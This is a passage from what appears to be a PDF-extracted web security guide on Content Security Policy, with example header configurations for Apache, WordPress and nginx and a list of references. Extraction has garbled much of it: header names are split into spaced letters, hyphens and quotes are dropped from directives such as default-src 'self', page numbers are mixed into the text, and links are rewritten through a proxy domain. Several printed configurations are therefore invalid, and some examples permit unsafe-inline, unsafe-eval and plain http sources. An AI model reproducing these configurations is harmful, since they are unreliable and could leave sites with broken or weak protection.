This policy allows images, scripts, AJAX, and CSS from the same origin, and does
not allow any other resources to load (eg. object, frame, media, etc) [45.6].
This is what was used at Twitter, Oct 2014. The policy prevents mixed content, allows
for scheme "data:" in font-src and img-src, allows for unsafe-inline and unsafe-eval
for script-src, and unsafe-inline for style-src [45.6].
Mixed Content has two categories: Active and Passive. Passive content consists of
"resources which cannot directly interact with or modify other resources on a page:
images, fonts, audio, and video for example", whereas active content is "content
which can in some way directly manipulate the resource with which a user is interacting." [45.6]
ContentSecurityP o l i c y : imgsrc https : data : ; fontsrc https : data : ; media
, src https : ;
311
312
Apache
It is required to add lines to the httpd.conf configuration file, or inside .htaccess
files or virtual host sections. Also, it is required to enable mod_headers, and after
inserting the lines according to your specific needs, restart Apache. The headers
below are good examples to add in the files (change/modify it properly):
Header
Header
Header
Header
Header
Header
unset ContentSecurityP o l i c y
add ContentSecurityP o l i c y " defaultsrc s e l f "
unset XContentSecurityP o l i c y
add XContentSecurityP o l i c y " defaultsrc s e l f "
unset XWebKitCSP
add XWebKitCSP " defaultsrc s e l f "
WordPress
Most of the configuration can be done in Apache, however, Wordpress has a plugin
that allows developers/administrator to set up their own custom policies. The plugin
however is not update for 2 years. Use it carefully. A workaround can be the creation
or modification of the file htaccess under wp-admin directory.
An example:
<IfModule mod_headers.c> Header set Content-Security-Policy "default-src self;
img-src self data: http: https: *.gravatar.com; script-src self unsafe-inline unsafeeval; style-src self unsafe-inline http: https: fonts.googleapis.com; font-src self
data: http: https: fonts.googleapis.com themes.googleusercontent.com;" </IfModule>
nginx
For nginx, it is required to edit the nginx.conf file.
# config to dont allow the browser to render the page inside an frame or iframe # and avoid
clickjacking http://en.wikipedia.org/wiki/Clickjacking # if you need to allow [i]frames, you can use SAMEORIGIN or even set an uri with ALLOWFROM uri # https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options
add_header X-Frame-Options SAMEORIGIN; # when serving user-supplied
content, include a X-Content-Type-Options: nosniff header along with the
Content-Type: header, # to disable content-type sniffing on some browsers.
# https://www.owasp.org/index.php/List_of_useful_HTTP_headers # currently
suppoorted in IE > 8 http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8security-part-vi-beta-2-update.aspx
#
http://msdn.microsoft.com/enus/library/ie/gg622941(v=vs.85).aspx
#
soon
on
Firefox
https://bugzilla.mozilla.org/show_bug.cgi?id=471020
add_header
X-ContentType-Options nosniff;
# This header enables the Cross-site scripting
(XSS) filter built into most recent web browsers.
# Its usually enabled by default anyway, so the role of this header is to re-enable the
filter for # this particular website if it was disabled by the user.
#
https://www.owasp.org/index.php/List_of_useful_HTTP_headers add_header XXSS-Protection "1; mode=block"; # with Content Security Policy (CSP) enabled(and
a browser that supports it(http://caniuse.com/#feat=contentsecuritypolicy), #
you can tell the browser that it can only download content from the domains
you explicitly allow # http://www.html5rocks.com/en/tutorials/security/content-
313
45.6. References
https://www.owasp.org/index.php/Content_Security_Policy_Cheat_
Sheet
Specifications of the CSP standard can be found the following locations:
Latest
Revision
content-security-policy/
https://w3c.github.io/webappsec/specs/
314
https://twittercommunity.com/t/blocking-mixed-content-with-content-securi
26375
http://www.w3.org/TR/2014/WD-mixed-content-20140722
315